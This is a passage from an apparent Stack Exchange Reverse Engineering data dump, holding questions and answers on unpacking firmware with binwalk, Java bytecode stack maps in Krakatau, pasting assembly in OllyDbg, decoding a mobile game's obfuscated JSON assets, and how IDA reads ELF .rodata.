BY-SA 3.0" />
  <row Id="17612" PostTypeId="1" AcceptedAnswerId="17621" CreationDate="2018-03-05T20:33:10.620" Score="0" ViewCount="4397" Body="&lt;p&gt;When I run binwalk on a abs firmware that I'm trying to unpack, the output shows several &quot;Unix path&quot; entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;8661260       0x84290C        Certificate in DER format (x509 v3), header length: 4, sequence length: 14208&#xA;8757216       0x859FE0        Base64 standard index table&#xA;8808844       0x86698C        Base64 standard index table&#xA;8827264       0x86B180        SHA256 hash constants, little endian&#xA;8832168       0x86C4A8        SHA256 hash constants, little endian&#xA;8951496       0x8896C8        Base64 standard index table&#xA;9010196       0x897C14        SHA256 hash constants, little endian&#xA;9091512       0x8AB9B8        Base64 standard index table&#xA;9123428       0x8B3664        CRC32 polynomial table, little endian&#xA;9151395       0x8BA3A3        Copyright string: &quot;Copyright 1995-2003 Jean-loup Gailly &quot;&#xA;9151564       0x8BA44C        CRC32 polynomial table, little endian&#xA;9201972       0x8C6934        Copyright string: &quot;Copyright (C) 2013, Thomas G. Lane, Guido Vollbeding&quot;&#xA;9253344       0x8D31E0        Unix path: /usr/app/.vpn.key&#xA;9282390       0x8DA356        Copyright string: &quot;Copyrights   : %s&quot;&#xA;9342840       0x8E8F78        Unix path: /etc/Wireless/RT2870STA/e2p.bin&#xA;9354428       0x8EBCBC        Unix path: /etc/Wireless/RT2870AP/RT2870AP.dat&#xA;9357504       0x8EC8C0        XML document, version: &quot;1.0&quot;&#xA;9359180       0x8ECF4C        Unix path: /var/lib/share/MT7601/MT7601EEPROM.bin&#xA;9385369       0x8F3599        Copyright string: &quot;copyright (c) 2001-8 by D.I. Management Services Pty Limited &amp;lt;www.di-mgt.com.au&amp;gt;, and is used with permission.&quot;&#xA;9400932       0x8F7264        HTML document header&#xA;9401331       0x8F73F3        HTML document footer&#xA;9403016       0x8F7A88        XML document, version: &quot;1.0&quot;&#xA;9440752       0x900DF0        Unix path: /usr/local/ssl/private&#xA;9450924       0x9035AC        Ubiquiti firmware header, third party, ~CRC32: 0x6974730A, version: &quot;SSL_init&quot;&#xA;9526724       0x915DC4        XML document, version: &quot;1.0&quot;&#xA;9528496       0x9164B0        XML document, version: &quot;1.0&quot;&#xA;9530608       0x916CF0        XML document, version: &quot;1.0&quot;&#xA;9531916       0x91720C        XML document, version: &quot;1.0&quot;&#xA;9534644       0x917CB4        XML document, version: &quot;1.0&quot;&#xA;9541444       0x919744        XML document, version: &quot;1.0&quot;&#xA;9545824       0x91A860        XML document, version: &quot;1.0&quot;&#xA;9547748       0x91AFE4        XML document, version: &quot;1.0&quot;&#xA;9552720       0x91C350        XML document, version: &quot;1.0&quot;&#xA;9557152       0x91D4A0        XML document, version: &quot;1.0&quot;&#xA;9573672       0x921528        XML document, version: &quot;1.0&quot;&#xA;9579428       0x922BA4        XML document, version: &quot;1.0&quot;&#xA;9611684       0x92A9A4        XML document, version: &quot;1.0&quot;&#xA;9613432       0x92B078        HTML document footer&#xA;9613440       0x92B080        HTML document header&#xA;9618912       0x92C5E0        XML document, version: &quot;1.0&quot;&#xA;10022232      0x98ED58        CRC32 polynomial table, little endian&#xA;10046884      0x994DA4        CRC32 polynomial table, little endian&#xA;10243368      0x9C4D28        JPEG image data, JFIF standard 1.01&#xA;10243398      0x9C4D46        TIFF image data, big-endian, offset of first image directory: 8&#xA;10249176      0x9C63D8        JPEG image data, JFIF standard 1.01&#xA;10249206      0x9C63F6        TIFF image data, big-endian, offset of first image directory: 8&#xA;10251812      0x9C6E24        PNG image, 120 x 120, 8-bit/color RGB, non-interlaced&#xA;10251903      0x9C6E7F        Zlib compressed data, compressed&#xA;10258248      0x9C8748        PNG image, 48 x 48, 8-bit/color RGB, non-interlaced&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to go about unpacking or mounting this filesystem, &lt;code&gt;binwalk&lt;/code&gt; doesn't seem to be able to give a good result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk --dd='.*' maincode.abs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to mount this abs file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/file/d7j9m69m1stovnw/maincode.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;abs file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23483" LastEditorUserId="23483" LastEditDate="2018-03-05T20:45:59.210" LastActivityDate="2018-03-06T09:37:34.897" Title="binwalk showing &quot;Unix path&quot;, how to extract the filesystem?" Tags="|firmware|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17613" PostTypeId="1" CreationDate="2018-03-05T21:55:01.130" Score="0" ViewCount="1027" Body="&lt;p&gt;I saw here &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17538/edit-java-bytecode-got-error&quot;&gt;edit java bytecode got error&lt;/a&gt; that when editing java bytecode with Krakatau ,it may happend to error on stack frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer there offer to change Krakatau version to 50.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I only want to edit java byte code(change existing methode) is there any reason to compute stack frame and not use version 50 that not require to compute that?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I put &lt;code&gt;.stack same&lt;/code&gt; the error fix, why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Version 50 is version of Krakatau ? Is there any disadvantage on this version?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank&lt;/p&gt;&#xA;" OwnerUserId="23460" LastActivityDate="2018-03-06T02:37:56.420" Title="Compute stack frames while edit java bytecode" Tags="|java|byte-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17614" PostTypeId="1" AcceptedAnswerId="17620" CreationDate="2018-03-06T02:08:24.567" Score="1" ViewCount="2314" Body="&lt;p&gt;I am very new to this whole business so please bear with me.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Goal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My goal is to read JSON data from a game. Since I do not know what kind of information will/will not be useful, here are some of the details:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is an obscure &lt;em&gt;mobile&lt;/em&gt; game by a &lt;em&gt;Japanese&lt;/em&gt; company.&lt;/li&gt;&#xA;&lt;li&gt;All the JSON files were under the folder named &lt;code&gt;binarytableassetsen&lt;/code&gt; (they put either &lt;code&gt;en&lt;/code&gt; or &lt;code&gt;jp&lt;/code&gt; at the end of some of their folders).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Examples&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's an example of one of the said files called &lt;code&gt;battle_pvp_cost.json&lt;/code&gt;.&lt;br&gt;&#xA;&lt;code&gt;xxd battle_pvp_cost_2.json &amp;gt; temp.txt&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 1400 0000 6261 7474 6c65 5f70 7670 5f63  ....battle_pvp_c&#xA;00000010: 6f73 742e 6a73 6f6e 3701 0000 87ce ef3e  ost.json7......&amp;gt;&#xA;00000020: 47d6 93a2 656e a265 6ea2 6a70 ceb4 8e44  G...en.en.jp...D&#xA;00000030: ecda 0029 789c 8b56 3254 d251 3202 6263  ...)x..V2T.Q2.bc&#xA;00000040: 2036 0162 5320 3603 6273 20b6 0062 4b20   6.bS 6.bs ..bK &#xA;00000050: 3634 0011 864a b10c 00c6 3707 fdce aca5  64...J....7.....&#xA;00000060: d333 29ce befb 0353 c3ce 70da a798 a0ce  .3)....S..p.....&#xA;00000070: b982 0d5b 00ce 1ab8 1a85 8bce 83dc efb7  ...[............&#xA;00000080: 82ce bf39 6750 01ce 1826 94fc 32ce 1ad5  ...9gP...&amp;amp;..2...&#xA;00000090: be0d 82ce bf39 6750 02ce 1826 94fc 64ce  .....9gP...&amp;amp;..d.&#xA;000000a0: 6dd2 8e9b 82ce bf39 6750 03ce 1826 94fc  m......9gP...&amp;amp;..&#xA;000000b0: d100 c8ce f3b6 1b38 82ce bf39 6750 04ce  .......8...9gP..&#xA;000000c0: 1826 94fc d101 2cce 84b1 2bae 82ce bf39  .&amp;amp;....,...+....9&#xA;000000d0: 6750 05ce 1826 94fc d101 90ce 1db8 7a14  gP...&amp;amp;........z.&#xA;000000e0: 82ce bf39 6750 06ce 1826 94fc d101 f4ce  ...9gP...&amp;amp;......&#xA;000000f0: 6abf 4a82 82ce bf39 6750 07ce 1826 94fc  j.J....9gP...&amp;amp;..&#xA;00000100: d102 58ce fa00 5713 82ce bf39 6750 08ce  ..X...W....9gP..&#xA;00000110: 1826 94fc d102 bcce 8d07 6785 82ce bf39  .&amp;amp;........g....9&#xA;00000120: 6750 09ce 1826 94fc d103 20ce a15d 25e1  gP...&amp;amp;.... ..]%.&#xA;00000130: 82ce bf39 6750 0ace 1826 94fc d103 84ce  ...9gP...&amp;amp;......&#xA;00000140: d65a 1577 82ce bf39 6750 0bce 1826 94fc  .Z.w...9gP...&amp;amp;..&#xA;00000150: d103 e800 0000 0000                      ........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of them begins in the same way with a value in the first byte followed by 3 bytes of 0s and then the file name.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Attempts&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I used signsrch suggested by &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/14104/23489&quot;&gt;this answer&lt;/a&gt; but found 0 signatures.  &lt;/li&gt;&#xA;&lt;li&gt;I played around with Burp suite decoder, but the output is equally messed up. The smart decode didn't give any output.  &lt;/li&gt;&#xA;&lt;li&gt;I also found &lt;a href=&quot;http://zenhax.com/viewtopic.php?f=4&amp;amp;t=27&quot; rel=&quot;nofollow noreferrer&quot;&gt;this collection&lt;/a&gt; of compression algorithms. Some of them share the characteristic of having some of the data uncompressed like the lzo1x, but none of them seems to have the same amount of special characters. Does this mean there's a layer of obfuscation involved?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If anyone recognises what this is or can point me in the right direction, then I am all ears. Please let me know if there is any more information I can provide to help guide the process. I've tried to put in all the details I think are relevant, but I am new to file decryption and may miss some crucial hints.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Opening the file correctly in the first place using a text editor that can handle binary data. &lt;a href=&quot;https://stackoverflow.com/questions/216066/what-exactly-causes-binary-file-gibberish&quot;&gt;[Reading 1]&lt;/a&gt; &lt;a href=&quot;https://stackoverflow.com/a/20305782/9147640&quot;&gt;[Reading 2]&lt;/a&gt; &lt;a href=&quot;https://superuser.com/a/369236/856879&quot;&gt;[Reading 3]&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The files I got were exported from &lt;a href=&quot;http://devxdevelopment.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;[Tool 1: DevXUnity]&lt;/a&gt; and seems to be different from how I see it on the hex viewer within the tool itself (the first hex dump in this question) just as blabb and w s pointed out. I've included a link to the other version of the first example json. &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15893/23489&quot;&gt;[Reading 1]&lt;/a&gt; &lt;a href=&quot;http://forum.zoneofgames.ru/topic/36240-unityex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;[Tool 2: UnityEX]&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Found some related scripts:  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Scripts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Found &lt;code&gt;Parser.Parse(json);&lt;/code&gt; in &lt;code&gt;Json.cs&lt;/code&gt; and tried to mock it up on Unity but the result is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here're the &lt;a href=&quot;https://drive.google.com/open?id=1sg6fh5pK9Wh4Gk5rimpxCcmxeW2PMR7m&quot; rel=&quot;nofollow noreferrer&quot;&gt;scripts + json files in a shared gdrive&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call stacks from when the JSON was first referenced:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;battle_pvp_costTableAccessor::constructor()&#xA;TableAccessorCore::reset(filename=&quot;battle_pvp_cost.json&quot;, rootKey=&quot;battle_pvp_cost&quot;)&#xA;TableAccessorCore::reset(filename=&quot;battle_pvp_cost.json&quot;, rootKey=&quot;battle_pvp_cost&quot;, isResources=false)&#xA;// Branch 1&#xA;TableAccessor::get2(name=&quot;battle_pvp_cost.json&quot;)&#xA;TableAccessor::load2(name=&quot;battle_pvp_cost.json&quot;, isResources=false)&#xA;TableResources::load2(name=&quot;battle_pvp_cost.json&quot;, isResources=false)&#xA;TableResources::loadTextAssetFormTableAssets(filename=&quot;battle_pvp_cost.json&quot;)&#xA;TextAsset::ContainsAndLoadU5S(&quot;battle_pvp_cost.json&quot;)(?)&#xA;&#xA;// Branch 2&#xA;Handle::getTable(key=&quot;battle_pvp_cost&quot;)&#xA;uint key2 = CRC32.Compute(str=&quot;battle_pvp_cost&quot;)&#xA;ParameterTableProxy::ParameterTable_table(handle=this.Ptr(?), key=key2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23489" LastEditorUserId="23489" LastEditDate="2018-03-09T11:06:43.143" LastActivityDate="2018-03-09T11:06:43.143" Title="Need some pointers to decode/decrypt/unobfuscate JSON files (updated with related scripts)" Tags="|decryption|encodings|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17615" PostTypeId="2" ParentId="17613" CreationDate="2018-03-06T02:37:56.420" Score="4" Body="&lt;p&gt;Stack maps were a feature added in Java 6 (corresponding to version 50), but were not made mandatory until Java 7 (version 51) in order to ease the transition. Stack maps make classloading slightly faster at the expense of making bytecode generation significantly more painful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are manually editing bytecode, then it is a big hassle to write the stack frames yourself. The easiest solution is to mark your classfiles as version &amp;lt;= 50, in which case you don't have to worry about them at all. The only downside of this is that you can't use features which were added in version 51+ (at the moment, the only notable features that are 51+ exclusive are &lt;code&gt;invokedynamic&lt;/code&gt; and modules). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the flipside, there is one feature, subroutines, which was actually removed in version 50. Therefore, Krakatau defaults your classfiles to version 49 if you don't specify one, because it is the best default version for manually editing bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to use invokedynamic, then you have no choice but to generate stackmaps as well. You can write them by hand if you want, but it's a pain to do. If you plan to do this, you should familiarize yourself with the &lt;a href=&quot;https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.4&quot; rel=&quot;nofollow noreferrer&quot;&gt;JVM specification&lt;/a&gt;, which explains how to write stack maps. Krakatau's syntax uses the same names as the specification, so it should be fairly self explanatory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use a tool like ObjectwebASM to do it for you. The only downside of this is that ASM can't handle certain unusual cases. ASM is a tool which is &quot;good enough&quot; for ordinary uses, while Krakatau is designed for power users and tries to handle every bytecode feature and quirk, no matter how obscure. But since stack frames can't be generated automatically in 100% of cases, and Krakatau is oriented towards people who want low level control over the bytecode anyway, it does not attempt to generate stack frames automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, to answer your questions explicitly,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The only reason not to lower the classfile version to 50 is if you need to use &lt;code&gt;invokedynamic&lt;/code&gt;, or other recently added bytecode features.&lt;/li&gt;&#xA;&lt;li&gt;Because the stack frame you added made the stack map table valid&#xA;again. The exact frame types and placement you need depends on which&#xA;changes you make to the bytecode, so &lt;code&gt;.stack same&lt;/code&gt; won't always&#xA;work. If you want to learn how to write stack maps in general,&#xA;consult the JVM specification.&lt;/li&gt;&#xA;&lt;li&gt;The classfile version is unrelated to the version of Krakatau. The&#xA;Krakatau assembler can generate classfiles with any version tag you&#xA;want, even ones that aren't valid.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-03-06T02:37:56.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17616" PostTypeId="1" AcceptedAnswerId="17617" CreationDate="2018-03-06T03:22:22.130" Score="0" ViewCount="617" Body="&lt;p&gt;I need to copy some code of old version to the new version .exe file. It contains 30 to (N) number of code line. How can I copy and paste the old code to new version. Any help is so much appreciated. Basically I need to do it like what &lt;strong&gt;Fill with NOP&lt;/strong&gt; does(which is noping N number of lines) I need to copy and paste a code like N number of times.&lt;/p&gt;&#xA;" OwnerUserId="23515" LastEditorUserId="23515" LastEditDate="2018-03-06T03:27:34.213" LastActivityDate="2018-03-06T05:46:22.970" Title="How to paste 30-(N) number of assembly code to ollydbg" Tags="|ollydbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17617" PostTypeId="2" ParentId="17616" CreationDate="2018-03-06T05:30:31.240" Score="1" Body="&lt;p&gt;you can copy paste binary bytes between two ollydbg instances &lt;/p&gt;&#xA;&#xA;&lt;p&gt;select bytes rightclick-&gt;edit -&gt; binary copy (ctrl+insert) from source   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;select bytes -&gt; right click _&gt; binary paste (shift + insert) in destination &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CxFat.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CxFat.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-03-06T05:30:31.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17618" PostTypeId="2" ParentId="17616" CreationDate="2018-03-06T05:46:22.970" Score="0" Body="&lt;p&gt;There many ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I once had to add 3000 lines to a program . The answer above works , but your life will become much ,much harder this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this tool &lt;a href=&quot;http://rammichael.com/multimate-assembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;MLA from Ramm michael&lt;/a&gt;&#xA;In Olly , you can just right click and open a part or section if highlighted in this notepad like plugin. You can just simply copy paste and click to insert assembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like this tool  because as you go along you can simply just edit your code and click the assemble button and that is it! Its like coding assembly without needing to compile!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a warning, make sure your code fits. Usually , I will code cave or something and then jump back to the origional code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know.of you have questions. The tool is pretty simple to use and Ramm is a pretty cool guy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video that uses this a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://m.youtube.com/watch?v=z7V2Y0YBxb0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assembly tutorials&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2018-03-06T05:46:22.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17619" PostTypeId="2" ParentId="17587" CreationDate="2018-03-06T05:57:46.117" Score="0" Body="&lt;p&gt;If it has a Cypress FX3 then it will double enumerate in Device Manager when you plug in the device, if that helps. The firmware is loaded FROM the driver and then the device will enumerate again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there are many usb packet sniffing tools, software or hardware.&lt;/p&gt;&#xA;" OwnerUserId="23488" LastActivityDate="2018-03-06T05:57:46.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17620" PostTypeId="2" ParentId="17614" CreationDate="2018-03-06T06:58:27.417" Score="1" Body="&lt;p&gt;you need to post a textual hex-dump using some hex-editor that is capable of writing out     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the gnu xxd is capable of doing that in terminal and has been ported to many os &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second image in your question  that starts with 0x14 0x00 0x00 0x00 seems&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the 0x14 = 20 appears to be the size of filename &quot;battle_pvp_cost.json&quot;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python&#xA;Python 2.7.11 &#xA;&amp;gt;&amp;gt;&amp;gt; hex(len(&quot;battle_pvp_cost.json&quot;))&#xA;'0x14'&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that is followed by 0x137 which appears to be the size of binary data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; hex((int(0x153-0x1c)))&#xA;'0x137'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the data which you seem to be trying to decode / decrypt whatever &lt;/p&gt;&#xA;&#xA;&lt;p&gt;87 ce ef 3e ...... until 0xe8 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;some binary seems to take this blob and writes down the decrypted / decoded /??? version of this blob &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have to find out who uses this blob and may be reverse engineer that binary to understand &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first block-quote seems to be this data the third character is greater than symbol which converts to 0x3e &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you notice the png you posted in your last comment has this pattern interspersed &lt;strong&gt;0xef 0xbf 0xbd&lt;/strong&gt;  for some  bytes&#xA;other bytes are left intact from the second hexdump screen shot  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;removing the pattern you get what is in the second screen shot &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  00 00 00 00 00 00 00 00 00 3E 47 D6 93 00 00 00  .........&amp;gt;GÖ“...&#xA;00000010  65 6E 00 00 00 65 6E 00 00 00 6A 70 CE B4 00 00  en...en...jpÎ´..&#xA;00000020  00 44 00 00 00 00 00 00 00 29 78 00 00 00 00 00  .D.......)x.....&#xA;00000030  00 56 32 54 00 00 00 51 32 02 62 63 20 36 01 62  .V2T...Q2.bc 6.b&#xA;00000040  53 20 36 03 62 73 20 00 00 00 00 62 4B 20 36 34  S 6.bs ....bK 64&#xA;00000050  00 11 00 00 00 4A 00 00 00 0C 00 00 00 00 37 07  .....J........7.&#xA;00000060  00 00 00 CE AC 00 00 00 00 00 00 33 29 CE BE 00  ...Î¬......3)Î¾.&#xA;00000070  00 00 03 53 00 00 00 00 00 00 70 DA A7 00 00 00  ...S......pÚ§...&#xA;00000080  00 00 00 CE B9 00 00 00 0D 5B 00 00 00 00 1A 00  ...Î¹....[......&#xA;00000090  00 00 1A 00 00 00 00 00 00 CE 83 00 00 00 EF B7  .........Îƒ...ï·&#xA;000000A0  82 CE BF 39 67 50 01 00 00 00 18 26 00 00 00 00  ‚Î¿9gP.....&amp;amp;....&#xA;000000B0  00 00 32 00 00 00 1A D5 BE 0D 00 00 00 CE BF 39  ..2....Õ¾....Î¿9&#xA;000000C0  67 50 02 00 00 00 18 26 00 00 00 00 00 00 64 00  gP.....&amp;amp;......d.&#xA;000000D0  00 00 6D D2 8E 00 00 00 00 00 00 CE BF 39 67 50  ..mÒŽ......Î¿9gP&#xA;000000E0  03 00 00 00 18 26 00 00 00 00 00 00 00 00 00 00  .....&amp;amp;..........&#xA;000000F0  00 00 00 00 00 00 00 00 00 1B 38 00 00 00 CE BF  ..........8...Î¿&#xA;00000100  39 67 50 04 00 00 00 18 26 00 00 00 00 00 00 00  9gP.....&amp;amp;.......&#xA;00000110  00 00 01 2C CE 84 00 00 00 2B 00 00 00 00 00 00  ...,Î„...+......&#xA;00000120  CE BF 39 67 50 05 00 00 00 18 26 00 00 00 00 00  Î¿9gP.....&amp;amp;.....&#xA;00000130  00 00 00 00 01 00 00 00 00 00 00 1D 00 00 00 7A  ...............z&#xA;00000140  14 00 00 00 CE BF 39 67 50 06 00 00 00 18 26 00  ....Î¿9gP.....&amp;amp;.&#xA;00000150  00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 6A  ...............j&#xA;00000160  00 00 00 4A 00 00 00 00 00 00 CE BF 39 67 50 07  ...J......Î¿9gP.&#xA;00000170  00 00 00 18 26 00 00 00 00 00 00 00 00 00 02 58  ....&amp;amp;..........X&#xA;00000180  00 00 00 00 00 00 00 57 13 00 00 00 CE BF 39 67  .......W....Î¿9g&#xA;00000190  50 08 00 00 00 18 26 00 00 00 00 00 00 00 00 00  P.....&amp;amp;.........&#xA;000001A0  02 00 00 00 CE 8D 07 67 00 00 00 00 00 00 CE BF  ....Î..g......Î¿&#xA;000001B0  39 67 50 09 00 00 00 18 26 00 00 00 00 00 00 00  9gP.....&amp;amp;.......&#xA;000001C0  00 00 03 20 CE A1 5D 25 00 00 00 CE BF 39 67 50  ... Î¡]%...Î¿9gP&#xA;000001D0  0A 00 00 00 18 26 00 00 00 00 00 00 00 00 00 03  .....&amp;amp;..........&#xA;000001E0  00 00 00 00 00 00 00 00 00 5A 15 77 00 00 00 CE  .........Z.w...Î&#xA;000001F0  BF 39 67 50 0B 00 00 00 18 26 00 00 00 00 00 00  ¿9gP.....&amp;amp;......&#xA;00000200  00 00 00 03 00 00 00                             .......   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;those are utf8 &lt;a href=&quot;https://www.fileformat.info/info/unicode/char/fffd/index.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;replacement charecters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;#65533;&amp;amp;#65533;&amp;amp;#65533;&amp;amp;#65533;&amp;amp;#65533;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;#65533;&amp;#65533;&amp;#65533;&amp;#65533;&amp;#65533;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to answer your comment regarding decoding/decrypting the contents &lt;/p&gt;&#xA;&#xA;&lt;p&gt;since you dont have other samples first thing you should do is gather as many samples as you can and confirm if the hypothesis is correct &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the hypothesis being  first dword = length of file followed by actual file name of said length &lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the end of filename another dword that possibly indicates the length of binary blob  and followed by actual binary blob of said length &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the file is bigger than the battxx.json does it have other pairs like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie another file followed by another binary blob &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the hypothesis pans out &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then if you are on windows and you can execute the game or application &#xA;then you can log the games/ applications activity  with procmon / api monitor etc / if you are on nix you have ltrace / strace etc basically a program that monitors activities and logs call stacks / arguments / function reurns etc &#xA;with that running in background if you executed the game / app and if it accesses this file you can see the call stack and debug the game / app independently and single step around and watch what exactly is happening &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a small sample flow diagram would be like Open-&gt; read / map -&gt; manipulate -&gt; write / use &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-06T15:49:22.307" LastActivityDate="2018-03-06T15:49:22.307" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17621" PostTypeId="2" ParentId="17612" CreationDate="2018-03-06T09:37:34.897" Score="4" Body="&lt;p&gt;The abs file seems to contain an RTOS (real-time OS) image. In this case the code and the resources are compiled into a one large image without a real file system. So, you can't unpack or mount any file system. But, you can extract some resources by reversing the image with a disassembler or using binwalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unix paths found by binwalk are just strings in the image, which may are not used at all.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2018-03-06T09:37:34.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17622" PostTypeId="1" CreationDate="2018-03-06T13:47:56.487" Score="0" ViewCount="1876" Body="&lt;p&gt;IDA pro is able to display the data contained in the &lt;em&gt;read only data&lt;/em&gt; section of ELF files, but the section is defined as type SHT_PROGBITS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, we cannot parse sections of this type to resolve information such as constant data/variable names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how do tools such as IDA actually get the information in .rodata or other SHT_PROGBITS sections such as .PLT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22178" LastActivityDate="2018-03-06T18:04:44.410" Title="Parsing .rodata (ELF)" Tags="|ida|elf|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
